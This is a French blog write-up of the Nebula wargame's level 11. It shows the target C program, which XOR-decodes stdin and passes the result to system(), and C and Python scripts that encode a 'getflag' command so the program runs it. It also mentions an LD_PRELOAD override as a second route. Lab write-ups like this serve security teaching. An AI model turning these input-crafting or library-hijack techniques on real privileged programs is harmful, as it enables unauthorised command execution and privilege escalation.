jeudi 23 juillet 2015

Nebulla - level 11

Bonjour,

Voici le niveau 11 donc voici ce que l'on nous donne :
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both :-)
To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.
À la différence des autres niveaux ici on nous encourage à faire ce niveau avec les 2 possibilités donc nous allons faire ce qu'ils nous demandent ! Voici la source :

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Donc dans un premier temps on peut voir que le programme sera assez basique ici une simple série de test pour (si ceux-ci n'ont pas fail) utiliser la fonction system sur le buffer utilisé dans la fonction process. La commande envoyé dans le buffer va passer par un algorithme basique appelé simplement `Stream cipher` (généralement utilisé dans l’encryption de flux de donné) avec un petit xor. Ce sera utile pour la suite. Voici un test basique pour voir que le programme fonctionne bien :


La première manière de faire ici sera de prendre ce petit programme et de rechercher l'algorithme utilisé pour encrypter notre string à l'envers de l’algorithme donné. Il se situe simplement avant le lancement de la fonction system :


  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

Donc on va devoir connaître la taille de notre commande ainsi que la commande en elle même jusque là on aura pas de soucis. On doit faire en sorte que la commande ne de dépasse pas 1024 bytes ici sinon le checking de fread va nous empêcher d'avancer. La commande au passage ne doit pas se terminer par un caractère nul comme normalement. Donc on va dans un premier temps encoder notre commande et simplement l'afficher dans un programme basique. Je vais coder un exemple en C et un autre en python mais le résultat sera identique dans tout les cas :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void
process(char *buff, int length){
    unsigned int    key;
    int        i;

    i = 0;
    key = length & 0xff;
    while (i < length)
    {
        buff[i] ^= key;
        key -= buff[i] ^ key;
        i++;
    }
}


int 
main(void){
    char    buffer[1024];

    strncpy(buffer, "getflag", 1024);
    process(buffer, 1024);
    puts("Content-Length: 1024");
    fwrite(buffer, 1, 1024, stdout);
    return 0;
}

Voici donc le second code en python :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python

cmd = "getflag\x00"
size= 1024
key = size & 0xff

encrypted = ""
for i in range(len(cmd)):
    enc = (ord(cmd[i]) ^ key) & 0xff;
    encrypted += chr(enc)
    key = (key - ord(cmd[i])) & 0xff

print "Content-Length: " + str(size) + "\n" + encrypted + "A"*(size - len(encrypted))


Voici donc le résultat la commande est bien exécuté le soucis vient ici uniquement du programme en lui même puisque lorsque le call de system est fait il n'y a pas de seting d'uid donc il va logiquement utilisé celui de lanceur de l'action qui ne sera logiquement pas le flag ici mais le level il aurait fallut utiliser donc les fonctions setresuid/setresgi pour résoudre ce soucis. J'ai set la variable d'environement TEMP vers /tmp pour ne plus avoir le message d'erreur dût au fd créer en mode random.

La seconde façon de faire sera de jouer simplement avec LD_PRELOAD ainsi que les fonctions que l'on va pouvoir alors override.. Je vous laisser chercher à ce niveau ce sera pas bien compliqué !

Aucun commentaire:

Enregistrer un commentaire